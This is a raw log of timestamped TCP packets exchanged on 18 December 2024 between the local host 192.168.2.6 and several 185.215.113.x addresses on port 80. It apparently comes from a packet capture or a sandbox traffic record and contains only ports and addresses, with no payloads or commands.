Dec 18, 2024 12:00:27.597821951 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.597821951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.597848892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.598001003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.598407984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.598504066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.598531961 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.598623991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.598709106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.598798037 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.599021912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.599172115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.599241972 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.599241972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.599247932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.599353075 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.599816084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.599881887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.600008965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.600020885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.600085974 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.600085974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.600152016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.600258112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.600824118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.600964069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.600992918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.601033926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.601047039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.601059914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.601193905 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.601413965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.601514101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.601542950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.601612091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.601967096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.602041006 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.602109909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.602181911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.602207899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.602220058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.602273941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.602273941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.602968931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.603072882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.603107929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.603120089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.603163958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.603192091 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.603221893 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.603279114 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.603745937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.603838921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.603872061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.603961945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.604192972 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.604238987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.604351997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.604454041 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.604492903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.604643106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.604654074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.604760885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.605237961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.605323076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.605334997 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.605345011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.605385065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.605385065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.605473042 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.605557919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.606023073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.606122971 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.606152058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.606281042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.606358051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.606443882 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.606478930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.606554985 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.606753111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.606857061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.606946945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.607018948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.607465029 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.607532978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.607544899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.607558012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.607611895 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.607611895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.607696056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.607789993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.608280897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.608350039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.608380079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.608499050 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.608549118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.608623981 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.608639002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.608747005 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.609071016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.609146118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.609175920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.609236002 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.609667063 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.609739065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.609755039 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.609767914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.609823942 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.609823942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.609977007 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.610110998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.610524893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.610640049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.610649109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.610727072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.610784054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.610863924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.610867977 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.610941887 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.611344099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.611439943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.611473083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.611593962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.611988068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.612050056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.612062931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.612112999 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.612112999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.612157106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.612246990 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.612759113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.612873077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.612890005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.612931967 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.612960100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.612962008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.613138914 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.613579988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.613694906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.613723040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.613848925 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.614105940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.614202976 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.614253998 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.614315033 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.614497900 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.614511013 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.614674091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.615194082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.615305901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.615324020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.615329027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.615353107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.615459919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.615503073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.615602016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.615931988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.616025925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.616033077 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.616151094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.616274118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.616342068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.616398096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.616460085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.616595030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.616611004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.616655111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.616656065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.617408991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.617422104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.617433071 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.617489100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.617489100 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.617562056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.617680073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.618087053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.618164062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.618174076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.618247986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.618673086 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.618719101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.618804932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.618916035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.619079113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.619107008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.619223118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.619560957 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.619580030 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.619590998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.619602919 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.619642973 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.619642973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.620656013 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.620732069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.620759964 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.620824099 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.621954918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.622025967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.622054100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.622261047 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.622914076 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.622973919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.622983932 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.623069048 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.623934031 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.624011993 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.624022961 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.624085903 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.625055075 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.625086069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.625099897 CET	80	49969	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:27.625109911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.625171900 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.625193119 CET	49969	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:27.625231981 CET	80	49960	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:27.625372887 CET	49960	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:27.625372887 CET	49969	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:27.626183987 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.626302004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.626328945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.626362085 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.627244949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.627326965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.627337933 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.627393961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.628317118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.628392935 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.628427982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.628477097 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.629395962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.629434109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.629461050 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.629609108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.630533934 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.630609035 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.630633116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.630707979 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.631637096 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.631704092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.631752968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.631814957 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.632756948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.632834911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.632919073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.632982969 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.633817911 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.633893967 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.633920908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.633992910 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.634918928 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.635010004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.635035992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.635096073 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.636064053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.636220932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.636248112 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.636281013 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.637079000 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.637126923 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.637159109 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.637305975 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.638295889 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.638366938 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.745094061 CET	80	49969	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:27.771233082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.771275043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.771322966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.771347046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.771445036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.771529913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.771560907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.771682024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.771742105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.771773100 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.771783113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.771816015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.772238016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.772279024 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.772288084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.772367001 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.772501945 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.772546053 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.772739887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.772756100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.772787094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.772803068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.773264885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.773363113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.773380041 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.773408890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.773444891 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.773488045 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.774030924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.774080992 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.774080992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.774477959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.774609089 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.774657011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.774657011 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.774780989 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.774929047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.774945974 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.774962902 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.774975061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.774993896 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.775031090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.775548935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.775640965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.775688887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.775930882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.775973082 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.775993109 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.776031017 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.776283979 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.776325941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.776387930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.776423931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.777055979 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.777126074 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.777167082 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.777184010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.777216911 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.777303934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.777331114 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.777345896 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.777978897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.778033018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.778090000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.778136969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.778217077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.778233051 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.778292894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.778577089 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.778641939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.778681993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.778759003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.779166937 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.779218912 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.779345036 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.779362917 CET	80	49913	185.215.113.17	192.168.2.6
